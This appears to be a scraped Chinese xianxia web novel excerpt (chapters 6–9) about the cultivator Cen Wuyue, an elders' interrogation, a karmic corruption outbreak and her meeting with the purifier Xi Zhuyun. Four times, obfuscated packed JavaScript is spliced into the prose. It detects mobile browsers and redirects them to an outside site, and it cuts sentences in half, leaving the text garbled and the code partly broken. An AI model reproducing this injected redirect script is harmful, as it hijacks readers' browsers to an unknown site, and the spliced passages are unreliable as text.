“您也是仙人,没感觉吗?”有人疑惑地问。 岑无月眨眨眼睛:“可能是我太弱了?你们想啊,其他人可能原来有一百万两银子,一下少了七八十万,而我原来就只有一文钱,少去七八成自是没什么感觉。” 众人听完大吃一惊,甚至开始为岑无月担心: “啊,您只有一文钱那么多的修为吗?” “那接下来的日子您最好也还是别在外面乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250235|166203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了,和玄枢城的仙人们不同,外来的仙人可不知底细。” “况且有些仙人易怒,您可能一个眼神不对就会弄丢性命的!” “要我说,这几天您就饿一饿,别老跑来蹭饭了。” 原本还在乖巧点头的岑无月听到这里立刻就不应了:“那不行,不吃东西那多没意思啊。” “您不是仙人吗,本来也没见别的仙人跟咱们一样天天吃饭啊!” “可他们会辟谷,我师父从来没有教我辟谷啊。” “……仙人,我怎么好像听说过,辟谷是每个仙人的第二课呢?” 岑无月惊讶:“那第一课是什么?” “那个……叫什么来着,引气入体?” 岑无月立刻竖起拇指:“这个师父教过了!” 她也不知道为什么,但桌边的众人听罢答案,不约而同地松了一口气。 这顿其乐融融的饭吃到一半,突地走进来一名玄枢城弟子,他视线一扫众人,皱眉问:“岑无月是否在此?” 正咬着个肉丸子的岑无月抬头,一脸无辜地指指自己。 “你就是岑无月?”这名弟子理所当然地说道,“长老要见你。” 既然在人家城内,这点规矩和要求总是要配合的。 岑无月边努力咀嚼肉丸,边起身朝玄枢城弟子走去。 就是不知道是哪位长老? “这位仙长,请问是哪位长老?”李大厨也跟着站了起来,好声好气地询问,“若是三长老的话,我便顺道一起去,她先前吩咐好的吃食差不多火候到了,正好送过去。” 玄枢城弟子回头,表情并不相信的样子:“三长老怎会需要吃食?” 李大厨连连摆手,赔笑:“不不不,是三长老今年刚收入门下的那位仙长还尚未辟谷,时不时需要一些。” 弟子闻言稍稍放松怀疑,随口道:“是五长老的命令——既然三长老要的东西,你放着不送,倒是自己先吃上了?” “冤枉啊仙长!”李厨子顿时大惊失色,“实在是这一道菜肴精美复杂,我自昨天便开始准备,这会儿才将将要熬好,绝不是故意耽搁!” 弟子皱眉看了李大厨两眼:“三长老虽不在院中,你也尽量快些送去。” “是是是。” 玄枢城弟子这才回头对岑无月道:“你随我来——岑无月?你听见没?” 岑无月这才回过神来,扭头不好意思地朝玄枢城弟子眨眨眼睛:“抱歉,我想事情走神了。” 玄枢城弟子也往她出神的方向看一眼,不解地小声嘀咕一句“几个凡人有什么好看的”,便掉头加快脚步带路离开。 城主府里岑无月去过的地方不多。 最主要就只跑两个地方:地牢,伙房。 再加一个上次方绝简对质方衡的明堂。 这次由人带领走了一条全新的路,曲曲折折相当深入,最后抵达一处庄严堂皇之地,岑无月抬头一看:议事厅。 玄枢城弟子停在门口,伸手示意岑无月自己进去。 岑无月很有礼貌地敲敲门,听见里面有人说“进来”才推门入内,一眼就看见地上躺着一具熟悉的尸体。 ——余铮的。 再一抬头,议事厅里端坐着五个人。 四个冷若冰霜的不认识,一个眉毛打结的是五长老。 嚯,五老会审。 岑无月这么想着,面不改色地反手关上了议事厅的门。 7.第 7 章 “你可还认得此人?”一名长老开口便直截了当地问道。 岑无月向前走了几步,换着角度观察余铮的脸,又凑近看他的伤口,点点头:“藏在客栈里威胁我的就是他。” “嗯,”另一名长老问,“他有没有告诉你将偷走的东西藏在何处?” “我和桑青师姐说过,”岑无月道,“他说自己根本没有成功偷走想要的东西。” 五长老一拍桌子:“自他逃走藏匿到被我发现,这半月的时间里只有你见过他!” “我们不太讲话,”岑无月低头看余铮青白色的脸,叹了口气,“他连名字都没告诉我。” “既然交流不多,应该每一句都能记得吧。”孩童模样的长老令道,“你都重复一遍。” 虽说修士的记忆力比凡人好得多,但谁会记这种鸡毛蒜皮的事情?反正岑无月不会。 于是她提议了一个更方便的办法:“桑青师姐的金针能不能直接把我的回忆放出来给各位看?这样更方便吧?” 五长老哼了一声,不屑地道:“桑青?占着名字的便宜得了辞青信任,还真把自己当玄枢城半个主人了。” “都停一停,”最后一名还没开口的长老终于说话了,他眼睛都没睁开,“既是玄枢城的城主,她重用一个喜欢弟子有什么?眼下最重要的,是找到城主失踪的灵契偃——岑小友,此事不宜声张,便不要叫更多的人来了。” 连找借口都这么敷衍。 岑无月笑容满面地指指椅子:“我能坐下慢慢想吗?” 无人反对就是同意。 在长老们威严的注视中,岑无月旁若无人地拉开椅子坐下,摸摸肚子,又熟练地从储物戒里给自己倒了杯茶出来。 再来几样水果。 然后是小食。 最后是一把瓜子。 摊开架势后,岑无月才深吸一口气,认真开始回忆一切细枝末节:“那天从地牢出来,我既不知道桑青师姐说的事情该怎么查,又觉得肚子有点饿,就先去泰云酒楼吃饭。” “接着说。” “我记得吃了一个八宝鸭,一个火踵神仙鸡,一个梅子渍虾,三个麦芽圆子……哦对,还有一道清炒小菜!” “……” “吃完后我回到客栈,他早就藏在我房间里,还威胁我想办法让他出城,不然就杀了我。”岑无月指指余铮。 “然后呢?” “我哪知道怎么办嘛,只好照他的意思出门,一路又吃了甜雪饺、咸炊圆、清凉汤……” “……” “……走着走着就好像听见有人在叫我,进去一看里面有个快死的人!我就赶紧出来找巡逻的道友。”岑无月说到这里一拍手,“啊!我想起来了。” 五长老精神一振:“想起什么?” 岑无月严肃地说:“发现那个快死的人时,我刚刚买完炸年糕。” 五长老终于忍不住了,怒极起立:“胡搅蛮缠!你明知道我问的是什么,正经地方一句带过,却一而再再而三扯些没用的废话,难道是在拖延时间等桑青来救你?!” “老五。”那名架子最大的长老轻斥,“坐下,静心。” 涨红着一张脸的五长老气哼哼地坐下,椅子发出老大声响。 小个子长老僵硬地朝岑无月笑笑,是一个非常不到位的假笑,但好歹起到了一点圆场的作用:“岑小友,你接着说吧。” 岑无月笑眯眯一路吃、一路又报菜名,从中午回忆到晚上,甚至给自己说得都有点饿了。 别说五长老看起来下一秒就要杀人,连小个子长老的假笑也都快挂不住了。 眼看马上就是下一顿的饭点,岑无月掰开最后一颗瓜子,才恍然道:“我又想到了!” 这个熟悉的句式一出,五长老的手心已经威胁地亮起了红光:“你要是再敢接一句废话……” 岑无月将瓜子仁拈出来吃掉,笃定道:“我想起来,他好像是说过这么一句——‘特地放出风声来引我上钩’?” 这下其他几名仿佛已经入定的长老都有了些许动静。 五长老更是倾身连声追问:“什么时候说的这句?前后还说了别的什么?谁放的风声?” 岑无月双手按着自己的太阳穴,苦思冥想:“好像是……” 她停顿半晌,还没来得及说出后半句话,却听远方传来一声巨响,像是什么东西自地底炸开了,地面嗡嗡地震动,连带着桌椅也跟着摇晃移位。 岑无月还没来得及吃的几个橘子骨碌碌向四周滚,她赶紧起身去追。 几名长老转向了同一个方位。 五长老惊疑不定地道:“那是业渊传来的……?” “老三老五,同我过去。”坐在最上首的长老不紧不慢地说,“老二老四,你们留下继续——” 就在这时,议事厅的门被哐哐敲响,年轻弟子的声音隔着门板传来:“业障爆发!城主传唤五位长老立刻前往灵脉一同镇压!” 大长老终于第一次掀开眼皮,深深地望了一眼岑无月。 岑无月抱着几个刚刚捡回来的橘子,一脸无辜地看着大长老:“可不是我干的。” “当然不是你,”五长老拂袖起身,几乎是嗤笑一声,“你若有这么大的能耐,岂会没人听过你的名字?” 五长老率先出门,一跃而起,向玄枢城的西边赶去。 其余几名长老也随在后头,大长老最晚动身,又在岑无月身旁停住脚步。 他什么也没说,只是用强劲如同实物的神识压向她,简直像是一个人要捏死一只蚂蚁那样轻松。 “如果你足够聪明,就应该知道什么能说,什么不能”的意思已经从行动中传达得很明确,于是便也不需要什么多余的言语威胁了。 五名长老都走了,岑无月才擦掉额头冷汗,慢悠悠起身离开议事厅。 她站在门口,也往西边看了一眼。 那里,一条足有百丈高的粗壮黑气自地底喷发而出,外围一些稍细的黑雾张牙舞爪地向外延伸,仿佛受操纵的手与足。 哪怕隔了半座城,也看得清清楚楚。 黑气过境之地,树木衰死、水流发黑、鸟兽肠穿肚烂,一番十足的地狱景象。 一些黑气甚至已经扑到了玄枢城的边际,好在被一层无形的屏障阻挡在外。 别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255773|166203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说铺天盖地、好像要将整座城咬碎吞下的架势,光是那股用双眼都能看到的狰狞与癫狂,都叫人两股战战。 守在议事厅门旁的那个玄枢城弟子此时便已经面色发白,他自言自语道:“那就是业障……当真是一点也不可沾,难怪长老们都说等时机成熟便要将其从身上剥离。” 闻言,岑无月扭头看他一眼:“那些黑气就是业障吗?” “是业障污染灵脉后所化的恶念。你可知凡人为何低修士一等?”弟子咽了口口水,“因为凡人与尚未大成的修士会生出七情六欲,凡人最多,而修为越高则产生越少——这些东西害人害己,但凡在身上留一丝,便无法证道。那些过于浓厚的、又或者是死前残留的七情六欲会残留世间,有的没入灵脉,有的侵蚀万物……因此修道‘不可食凡物、不可饮俗水、不可梦前尘、不可救他人、不可爱人、不可恨人、不可喜、不可悲’‘灭情方存理,忘欲始近天’……你难道从没学过?!” 岑无月看他牙齿都在打架,好奇地问:“像你现在这般‘害怕’算不算沾上七情六欲?” 玄枢城弟子的脸色更糟糕了:“你说得对,我得赶紧去坐忘阵洗濯一番。” “坐忘阵?”岑无月新鲜道,“能用来干什么?我也可以试试吗?” “你不是我城弟子,自不可用弟子专用的阵法。”弟子强自镇定地同岑无月解释,刻意地别开脸不去看西边,“但有些客栈中的居室会设置阵法,城里就有好几家。若不嫌贵,你可以去找找。” 岑无月恍然大悟:房间里确实有阵法,那余铮还用过呢。 只不过看他老是坐那儿,她还以为是疗伤用的阵法。 她兴致勃勃地穿过忧心忡忡的人群,回到新入住的客栈房间,对着榻边阵法琢磨片刻便成功将其启动。 启动后的坐忘阵如一团半透明光茧,又像是浅青色的雾气,和刚才西边冲天而起、遮天蔽日的黑气不同,看起来毫无杀伤力。 但岑无月的手一接触到那些光华,便顿时觉得整个人的七情六欲都顺着手被吸了出去,变得无欲无求、心如止水。 别说“兴致勃勃”和“好奇”,连晚饭也不想吃了,师门也不想回了,总是弯弯的两边嘴角更是直接往下一坠拉成一条直线。 可当岑无月将手往回一抽,脱离那些雾气后,情绪便缓缓自体内再度诞生,好奇心也跟着回来了。 二度好奇起来的岑无月再把手伸进阵内。 她又清心寡欲了。 看来只要进入阵中,坐忘阵便会神奇地“洗濯”情绪,使修士轻松进入无欲无求的状态,更易清修。 世人皆知只有无情道才是飞升的唯一正道,因此“无情”便是全修真界的最高追求,因此衍生出不少断情绝欲的方法。 岑无月的师门里并没有设置这种阵法,她四个师兄师姐更是各有各的偏门无情路,这还是第一次体会外界的“被无情”方法,没想到竟是如此简单粗暴。 不过既然几千年来只有区区九人道成飞升,想必这种捷径作用也不大吧。 岑无月面无表情地抽离坐忘阵,这次直接将阵法关闭了。 她不需要这个。 8.第 8 章 玄枢城地动山摇了两个多时辰才最终平静下来。 一切都是那样宁静,仿佛刚才什么也没有发生。 但如果从西城门向外望去,就能看见那仿佛死神过境后的衰败景象。 岑无月的客栈正巧在玄枢城的西边,她跃到屋顶上往西边眺望,瞧见地面尽是象征着终焉的不祥黑色。 这黑色一路延伸向远处的灵脉所在,越远越像是一条伏地的黑色巨蛇,静静匍匐在地,伺机吞噬猎物。 一切的危机与死亡都被护城阵法挡在了城门外几步的地方。 内外简直像是两个世界。 业障暂时退去后,在西城门附近的人,无论是玄枢城的弟子,还是普通城民,此时脸上都带着劫后余生的表情,还有一些人放声大哭起来。 岑无月托着下巴凝视片刻那大片大片的黑色,又低头去听玄枢城弟子们的窃窃私语。 “还好城主和长老们将这次镇压了下去……” “况且这次凡人们受了惊吓,后又狂喜,只怕灵脉被污染得是越发严重快速了……” “咱们还好,吃些清心丸、去趟坐忘阵便好,那些凡人可处理不了自己的情绪……” “恐怕止渊节要提前办了吧……” “可是城主的灵契偃不是被盗还没……” “或许只用同往年一样的高级偃甲?……” 余铮已经死了,死前坚称自己没有偷走城主的契偃。 但玄枢城众人很坚信是丢了。 五名长老甚至特地叫岑无月去询问情况,可谓是病急乱投医。 契偃究竟是丢了还是没丢,恐怕只有当事人自己知道真相。 岑无月偏首又往城门看了一眼。 那边飞来了一个影子,像是一只大鸟。 鸟身上正是前不久还在议事厅里的几名长老,还有一名样貌十分年轻的女子。 她穿着一身方便活动的简单衣裳,稍稍有些破损,看来是在刚才的战斗中受了伤,但面上没什么表情。 想必就是刚才五长老直呼其名过的城主“辞青”了。 岑无月好奇地盯着她的脸细细端详,在心里揣测她的性格。 似乎有所察觉,辞青的目光转向岑无月,在她身上也停留一下,而后竟然微微颔首示意。 好在只是很短暂的一个瞬间,飞行偃甲便呼啸着从城民与建筑头顶掠过,向城主府的方向滑翔而去。 一同在客栈顶上观察情况的一个散修诧异道:“城主认识你?” 岑无月眨眨眼:“可能是见我面善?” 散修翻了个白眼:“扯吧你就!” 真的没有和辞青见过面、更别提说过话的岑无月觉得自己很无辜。 要真有这么厉害的后门可以走,何必还要被五名长老叫去关小黑屋审问啊? 不过或许是因为业障爆发,长老们一时没有空闲,接下来几日倒也没有来找岑无月、让她继续回忆余铮说过的话。 倒是那天在议事厅门口守门的弟子被派到城西附近的巡逻队里,岑无月天天都能和他打上几次照面,也知道了他的名字叫张雷。 张雷早已没了那天看见业障爆发时的恐惧窘迫,整个人又变得冷冰冰的,像是刚从雪山顶上被吹了一宿回来似的。 岑无月便猜道:“你去坐忘阵啦?” “自然,这几日诸位同门都是如此。”张雷说着,斜睨岑无月一眼,好心地指点道,“道友,你年纪或许还小,但也该早日上心。修道的日子,多一日是一日,莫待日后修为倒退才后悔,那就来不及了。” “修为还会倒退?” 张雷似乎已经对岑无月的无知习惯了,他随意地解释道:“心魔一生,道心出现裂缝,自然修为便会倒退。……道友,你不会连道心、心魔、境界这些都不知道吧?” “知道哦,”岑无月眨眨眼睛,“仔细一想,我还见过一两个呢。” 张雷摇摇头:“那可都没有好下场。听说曾有过坚持得久的大能,那也在九百多年后身死道消了。” 岑无月提出异议:“九百多年已经很长了诶——对吧?” 后面半句问的是正在做炸白粽的摊主。 摊主目光飘忽满脸赔笑地打着哈哈,哪敢回答这个问题。 “那不过是对凡人而言,”张雷淡淡道,“飞升后便能与天地同寿,区区九百年自然很短。再者,从巅峰缓缓滑落的感觉应该更令人恐惧吧,而‘恐惧’这种无用的情绪,反而又会反哺心魔,火上浇油。” 他说着,似乎很感同身受地摇摇头。 岑无月拿到了自己的炸白粽,往上面哐哐倒白糖,边说道:“凡人随着年龄增长,力量也会从巅峰滑落,他们甚至还改写不了死亡。这是每个凡人都要经历的事情。” 张雷警惕地停了下来:“道友,你的念头很危险。” 岑无月将一块切好的糯米粽塞进嘴里,无辜地看着他:哪里危险了? 张雷自储物戒中掏出一块晶石模样的东西,灰扑扑的,又带一些绿色调,只看外表似乎和路边的石头没有什么分别。 “你细细感受。”张雷托着它往岑无月的方向放近了些。 岑无月用神识去探,一靠近便察觉到一股异样的糅杂情绪,惊惧、狂喜、憎恶、哀伤等等粗暴地混合在一起,像是被人硬捏在一起的怪异存在,叫她的颈后不由自主浮起一层鸡皮疙瘩。 “这是业渊里采来的,就是这些情绪将原本纯净的灵脉污染了。”张雷观察到岑无月产生变化,便反手将晶石收了回去,“这些东西对你我来说,和毒药无异,必须要定期清除,直到有一日能完全祛除。” 岑无月反手摸摸后颈,把鸡皮疙瘩按了下去:“但也有别的无情道路子吧。” 张雷不屑一顾:“都是歪门邪道。” 岑无月觉得至少正面情绪还是有存在必要的。 嗯,比如这吃到糖拌油炸糯米的快乐。 张雷看了一眼西城门,突然道:“明日就要开城门了。” “这么快?” “不快,恐怕不能再拖了,”张雷凝视着灵脉的方向,又倏地转头盯住岑无月,冷声问,“——所以,那天尚未说完的事情,你都想起来了吗?” —— 诚如张雷所说,玄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262402|166203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枢城第二天便放开了封锁。 这封城一解除,便陆续有外来的修士入内了,人群中的修士含量显著增加,客栈内仙人居的入住率也节节攀升。 这些修士中,有些成群结队,穿着差不多样式衣服的,一看便知道出自同一个门派。 另外极少的一些,一眼看上去就很贵的样子,身旁甚至还带着随行仆从——显然就是出身大家族的。 还有些则是单独行动——这倒反而有可能是实力最强的。 不过真正的贵客,还没入城就已经被和其他人分开了。 岑无月站在人群里,踮脚从其他人的头顶上看去。 ——被城主及长老们恭恭敬敬自城门之外老远就迎回来的,是一个看起来很乖的少年修士。 虽说修仙之人的外貌无法判断实际岁数,但其实也是有一些办法的。 譬如玄枢城那位长相七八岁的长老,眼中透着冷漠的精光,看上两眼就知道不可能是真的孩子。 而这位刚刚入城的腼腆贵客就不一样了,不仅长得很乖,眼神清澈中带着一些对隆重迎接的不习惯,嘴角还羞赧地抿在一起,听人说话时微微偏首,表情极为专心——就算浑身上下的饰物看起来都贵得要死,仍旧一看就知道是真的年纪很小。 这方面岑无月是各种行家,自然一看就知道。 如今玄枢城里掉一块天外玄铁都能砸到一个修士,岑无月都不用刻意去打听什么,就听见了周围的人在窸窸窣窣地讨论这个少年人的身份。 “这就是奚逐云?” “这些年净庭山还频繁在外活动的,似乎也只有他了吧……” “毕竟他是天才,有他一个也就够了。” 净庭山岑无月倒是知道的。 师父说过,灵脉被污染后有几个方法可以延缓或者逆转,其中的一个办法就是寻找体质特殊、习特定功法之人对其净化。 这种净化,按师父的比喻来说,就像是做豆浆时滤掉豆渣那样。 对灵脉来说当然是好事,但对成为“过滤工具”的那个人来说就有弊而无益了,他们几乎都很快会死去。 这世上有资格、有能力、有心性做这件过滤工具的人也没几个,几乎全在净庭山。 净庭山弟子奔赴各地,兢兢业业净化业渊,一代又一代地以身殉职,虽说人数极少,但地位可谓是数一数二,在民间甚至有“圣山”的称呼。 奚逐云的突然到访,恐怕同几天前业渊的突然爆发不无关系。 岑无月不紧不慢地在人群中穿梭,跟了一段路观察这位突然到来的圣山弟子,直到对方似乎终于察觉她的目光,扭头望了过来。 岑无月挂着一个也很乖很天真的笑容,很自然地从人群里朝他挥挥手打招呼。 奚逐云愣了下,视线跟被烫到一样飞走,动作太快,岑无月几乎都能听见他耳际那一排小小的水滴状耳坠撞在一起发出哗啦的声音。 又过了一息,他好像是觉得太不礼貌,又转回来,红着耳朵朝她点一下头示意。 岑无月摸摸自己的嘴角,在心里叹气。 浑然天成的这种好难学哦。 9.第 9 章 传说中的圣门天才其实非常平易近人。 岑无月只是在买零嘴时碰见他被几个商贩围住推销,就顺手把他救了出来而已。 “救”是个比较确切的说法了。 这世上没有多少人的眼睛能比走街串巷的卖货郎还毒,奚逐云修为再高,他们瞥个两眼也能确信这是一只好脾气的待宰小肥羊,于是一窝蜂上去将他围住,说什么也不散开,边舌灿莲花边强行把各种商品往奚逐云怀里塞。 奚逐云几乎急得要冒汗了,一边小声说“不用”一边又怕那些商品掉在地上摔坏,可怜巴巴地搂在怀里捧着,跟他那些看起来很贵的饰品法器撞来撞去。 就在几个摊位旁买臭豆腐的岑无月觉得他实在是惨,上前几步后清清嗓子。 最外围还没挤进去的小贩忙里抽空回头瞥了一眼,倒也很熟天天上街闲逛的岑无月:“小祖宗,您可别插手,咱们凡人这叫生财有道。” 岑无月气沉丹田,扬声高呼:“有——人——入——魔——啦——” 她喊到第四个字时,卖货郎们便电光石火间一哄而散,走前还不忘抢回奚逐云臂弯里那些尚未付钱的小商品。 不过倒都很有素质,没人试图从他身上顺点什么走。 满头大汗、面红耳赤的奚逐云瞠目结舌地看着一脸无辜的岑无月。 巡逻队的弟子几乎是飞来的:“魔修何在?!” 岑无月眨眨眼睛,好奇的视线落在了奚逐云身上。 奚逐云愣了一下。 他先看看岑无月,又看看如临大敌的巡逻弟子。 然后又看岑无月。 最后抿一下嘴唇,很有礼貌地和巡逻弟子解释起情况来。 以他的地位,哪怕在城里烧房子也决计不会被罚的——虽然净庭山弟子也绝不会干这种事就是了。 最后反倒是巡逻弟子非常抱歉地行礼退去,奚逐云回头来看岑无月,他什么也没说,但表情有点像受了委屈的小少爷。 岑无月津津有味地在旁看看全程,才上前道:“你跟我来。” 奚逐云看起来还有点防备之心,下意识回绝道:“我不……” “你是想给人买礼物吧?”岑无月早想好了怎么说动他,“我知道一个好地方。” …… 奚逐云最后还是默不作声地跟来了。 也不知道是天生就这么容易信任他人,还是倚仗自己那足够高的修为。 “不怕我把你骗去卖掉吗?”岑无月干脆直接问他。 奚逐云白净的脸上这会儿已经不红了,闻言只是垂眸看她一会儿,下结论道:“看起来不像。” “我师父说,坏人一般都不长坏人的脸。” “玄枢城的守城阵内,未持‘心眼’行走者,修为十不存一,”奚逐云很认真地解释道,“我有城主所赠的心眼,你没有。” 他把很简单的一句“你打不过我”连着前因后果一起都说了。 但有时候,越被较真反而越是想反驳。 岑无月就又道:“我可以把你骗到城外去,又或者我有同伙,再不济我还可以给你下药,比如那种无色无味的毒药,只要在空气里就会自动起作用的——放倒一个比自己强的人有很多办法,师父教了我好多。听说最好用的是先获得对方的高度信任后再进行背刺。” “……”奚逐云的嘴张了又合,最后无奈道,“道友,如果有事需要我帮忙,可以直接告诉我。只要我力所能及,绝不会推辞。” 岑无月乐了:“还真以为我要把你骗走啊?那谁来净化灵脉?玄枢城不得举全城之力追杀我?” 她说着,在一处不显眼的门面前停住脚步。 店门口连块牌子都没有,只堆砌着几块看起来形状很奇怪的木头。 早就来过一次的岑无月熟门熟路跨过门槛:“老板——我订的东西好了吗?” 背对着门口的老板慢吞吞回过头,瞅了岑无月好几眼才缓缓转回去,不紧不慢地道:“还没。” “那太好啦!”岑无月指指跟进来的奚逐云,“老板我给你拉了个新客人,能不能给我的尾款再减一点儿?” 奚逐云倒没有计较岑无月的话,他目不转睛地观赏店内随意摆放、却个个栩栩如生的大小雕像,脸上露出了满意的笑容:“老板,可否加急一些?我恐怕不能在城里待很久。” 他顿了顿,在老板的注视中有些不好意思地补充:“……我会给您辛苦费的。” 老板审视地将他从头扫到脚,从形状独特的连排耳坠看到鞋上宝珠,最后寡言地伸出三根手指。 奚逐云猜测:“三……三天?” 老板翻了个不太明显的白眼:“三倍。” 奚逐云开开心心道:“好,没问题。” 看他这答应的架势,只怕十倍二十倍也不痛不痒。 岑无月心道还得是卖货郎的眼睛毒啊,好一只金光闪闪的小肥羊。 老板这才将视线转向岑无月,吝啬地一点头:“给你减五十文。” 岑无月学着他刚才样子翻白眼:“那不如直接给我加急做了。” “行。”老板像是就等着这句话似的,手往桌底下一伸,拿出四个小人木雕,啪一下放到桌面上。 哇五十文都抠成这样,真行。 岑无月走上前去,随手拿起其中一个检查。 奚逐云很是惊喜:“这么巧,我也准备雕师门大家的小像。道友若是不介意的话,我能看一看吗?” 岑无月正在左右翻看周五的那个雕像,随声应着往旁边挪一步,给奚逐云让出了位置。 嗯,雕得很像,神态几乎是还原了。 岑无月满意地把“师父”放下,正要去拿下一个,却发现奚逐云正在发呆。 她都有点怀疑他是不是真被空气里无色无味的毒或者别的什么东西搞坏了脑子:“奚逐云?” 听见自己名字的奚逐云有些茫然地眨了眨眼睛,回过神来,慢一拍地应:“……什么?” 岑无月干脆一个个给他介绍:“这是我师父,二师姐,三师姐,小师兄。” 老板嘀咕了一句“排行第一的呢”。 奚逐云端详着桌上不过手指高的四个小木雕,轻声问:“雕得像吗?” 老板的表情看起来像是被人当面践踏了尊严。 岑无月立刻大声吹捧:“简直就像他们缩小之后就站在我面前一样,超真的,不买真是太亏了!” 她一边说,一边生怕奚逐云这笔生意做不成后老板后悔,出手如电地把几个木雕一把扫过来,直接拢进储物戒里,交了尾款就准备跑。 老板眼皮都懒得掀,倒是奚逐云伸手拦了她一下,有些局促地问:“在下净庭山奚逐云,不知道友可否告知姓名?” —— 自从和奚逐云交换名字之后,岑无月几乎每天都能见到他。 “你不忙吗?”岑无月忍不住问。 怎么奚逐云会和她一样闲呢? 街上的巡逻偃甲们可是忙碌得很,城外西边的灵气也透着一股子阴森森的气息。 “不必担心灵脉,我每日都会去净化。”奚逐云做了个手势,“其实净化并不是大家所想那样的,对净庭山弟子来说,并不是什么很费力的事情。” 他虽然这么说,但岑无月却能看见一丝像是黑色纹路一样的东西从他颊边耳下游走了过去。 注意到她好奇的视线,奚逐云下意识摸摸自己的耳朵。 纹路就像是有意识的小生命那样,“爬”过他那像是一阵细雨又像是连串泪珠的耳坠底下,顺势转移到他的手上,自指缝间流过,最后丝滑无声地没入手腕后的衣服袖间。 岑无月的视线不由自主地跟进了衣袖里,接着很顺理成章地上下扫视一遍,想找出黑纹现在的位置。 奚逐云:“……” 他轻吸一口气:“……你别……” “那就是你主动吸入体内的恶念吗?”岑无月抬头道,“太多所以‘消化’不了?” 被打断的奚逐云停顿了下,才继续说:“这是正常的过程。” 他说话间,那调皮的黑色纹路又像是一只小动物似的从他衣领边上探了个头。 可能是岑无月的错觉,但那玩意儿探出来的时候形状很像是半个小猫脑袋。 岑无月想象了一下自己身上如果有这么个东西在乱爬的话…… 她由衷发问:“你们全师门都不怕痒吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15269819|166203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “什么?……不,”奚逐云看起来有点无奈了,“不会痒的。就像是灵力在体内经脉运转,只是需要一些时间来将其转化为无害的灵气。只要有这种的体质,什么人都可以做到,并非是什么了不起的事情。” 还真是过滤工具。 总感觉很容易被人打坏主意的样子。 “只有在我们愿意的时候才能运转,”奚逐云说,“被强迫时是无法生效的。” 岑无月明明记得自己没有开口问,也很确定自己绝对不可能是“不小心把心里的念头说出声音”的人。 她抬眼看向奚逐云,而后者的眼神还有些涣散,思绪好像短暂地飞到了别处,仿佛是在对他自己说话。 但也只是一瞬,他眨一眨眼睛,神思便收束回来:“……所以,只有乐意主动去净化业障的人,才会被收入净庭山门下。” 岑无月替他总结了一下前后几句话要表达的意思:“所以,你是自愿的。” 奚逐云想了想,很肯定地笑了,脸上也露出一对乖顺腼腆的酒窝:“嗯,是这样。” 城里的修士们且不论,凡人们都对奚逐云倍有好感。 毕竟是“圣山”来的弟子,亲民度天然就已经拉满了。 因此岑无月也很爱和奚逐云一道出门。 城民们总是感激地过来投喂他一些小食物小礼物,并且顺道也给岑无月发一份。 因为修的并非是斩情的无情道,奚逐云偶尔也吃一点东西,但绝不像岑无月那样暴饮暴食。 所以他吃不完的那些,最后也都被岑无月吃掉。 “这就是师父说过的‘一人得道,鸡犬飞升’。”岑无月肯定地说。 “……”奚逐云迟疑片刻,嘴张了又闭,好一会儿才道,“常听你提起你师父?” “我是被师父捡回去养的,”说到这个岑无月可就不困了,她眉飞色舞地给奚逐云讲自己的拜师之路,“本来师父不想收我当徒弟,说自己收徒运不好基本都死了,不过后来我有一次差点病死,为了救我没办法就只好把我收啦。我是师父的关门弟子!” 奚逐云侧着脸听,表情很柔和,眼神也专注。 虽然他可能没懂岑无月话里的逻辑关系,但也没有贸然打断发问。 “两位师姐我都没见过,我是小师兄带大的。”岑无月瞥一眼奚逐云,确定他在认真听讲,才接着往下说,“不过小师兄又是被师姐们带大的,所以我从他口中听过很多她们的事情。” “你师父……” “我师父不管事。”岑无月理所当然地说。 奚逐云的声音很轻:“那你和小师兄的关系一定很好了。” “对啊,我一开始什么都不懂,全靠他自学着带,我还管他叫‘娘’呢,差点没给师父笑死。”岑无月回想着自己在年幼无知时期给师门造成的那些鸡飞狗跳他,笑出了声,“后来小师兄下山历练,跟我约好了三十三年后一定会回去的。” “……然后呢?” “然后今年是第四十六年了。”岑无月摊手道,“原来他还说自己下山会顺道去找失踪的两位师姐呢,可拉倒吧,最后还是连着他自己都得靠我去找。这师门没了我可怎么办哦。” 